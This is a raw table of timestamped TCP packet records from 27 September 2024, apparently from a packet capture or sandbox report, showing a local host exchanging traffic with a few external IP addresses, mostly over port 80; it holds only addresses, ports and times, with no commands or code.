Sep 27, 2024 16:18:20.838011980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838023901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838037014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838037014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838144064 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838155031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838229895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838243008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838254929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838263035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838272095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838282108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838299036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838329077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838329077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838424921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838435888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838447094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838459969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838464975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838474989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838485003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838493109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838521957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838521957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838624001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838634014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838677883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.838677883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.839211941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.839231014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.839242935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.839263916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.839263916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.839345932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.839375973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.839415073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.839440107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.839451075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.839462996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.839473009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.839489937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.839489937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.839517117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.852605104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.852638960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.852655888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.852665901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.852679014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.852685928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.852696896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.852703094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.852713108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.852722883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.852754116 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.852754116 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.852780104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.852823019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.853281021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853292942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853306055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853317976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.853323936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853334904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853348970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.853358984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853370905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853389978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.853389978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.853421926 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.853471041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853480101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.853518963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870496988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870553017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870562077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870577097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870593071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870619059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870631933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870645046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870687008 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870687008 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870712042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870723009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870747089 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870806932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870834112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870845079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870856047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870876074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870889902 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.870959044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870970011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870980024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.870990992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871000051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871047020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871047020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871138096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871149063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871191978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871191978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871268034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871279001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871289968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871299982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871310949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871320009 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871320009 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871334076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871345043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871352911 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871400118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871400118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871640921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871651888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871664047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871674061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871685028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871692896 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871692896 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871747017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871817112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871828079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871838093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871848106 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871855974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871866941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.871874094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.871901989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872045994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872056007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872066975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872077942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872088909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872095108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872112036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872139931 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872307062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872317076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872325897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872339010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872345924 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872354984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872364998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872375011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872383118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872391939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872402906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872412920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872426033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872426033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872438908 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872481108 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872701883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872713089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872725010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872757912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872757912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.872960091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872971058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872981071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.872991085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873001099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873008966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873017073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873034000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873060942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873060942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873332977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873348951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873359919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873373032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873382092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873390913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873399973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873419046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873424053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873424053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873434067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873449087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873455048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873461962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873471975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873483896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873492956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873492956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873502970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873513937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873523951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873523951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873586893 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.873672009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873682976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873694897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873703957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.873711109 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.878487110 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.925472975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925498962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925508976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925546885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.925574064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925585032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925595045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925604105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.925604105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.925616026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925642014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.925681114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.925764084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925776005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925810099 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.925935030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925945997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925956011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925966978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925977945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.925992012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.926009893 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.926048040 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.926136971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926147938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926157951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926168919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926182032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.926187038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926198006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926208973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.926214933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926222086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.926301956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.926872015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926935911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926945925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.926975965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.926975965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.927012920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.927017927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.927027941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.927064896 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.927066088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.927095890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.927105904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.927158117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940371037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940402031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940412998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940432072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940524101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940534115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940543890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940551996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940562010 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940568924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940581083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940619946 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940619946 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940794945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940804958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940814972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940825939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940839052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940845966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940855026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.940877914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940877914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.940918922 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.942336082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.942390919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.942395926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.942406893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.942431927 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.942445993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.942785978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.942832947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.942940950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.942989111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.943011045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.943021059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.943054914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.943842888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.943897009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.943902969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.943907976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.943934917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.943955898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.944770098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.944816113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.944983006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.945019960 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.955759048 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:20.958297968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958317041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958327055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958388090 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958388090 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958412886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958425999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958436966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958453894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958489895 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958595037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958606005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958615065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958626986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958636045 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958656073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958666086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958692074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958692074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958771944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958854914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958865881 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958875895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958904028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.958926916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958926916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.958981991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959000111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959055901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959150076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959161043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959171057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959181070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959192038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959198952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959208965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959218025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959229946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959234953 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959244013 CEST	80	49615	185.215.113.117	192.168.2.6
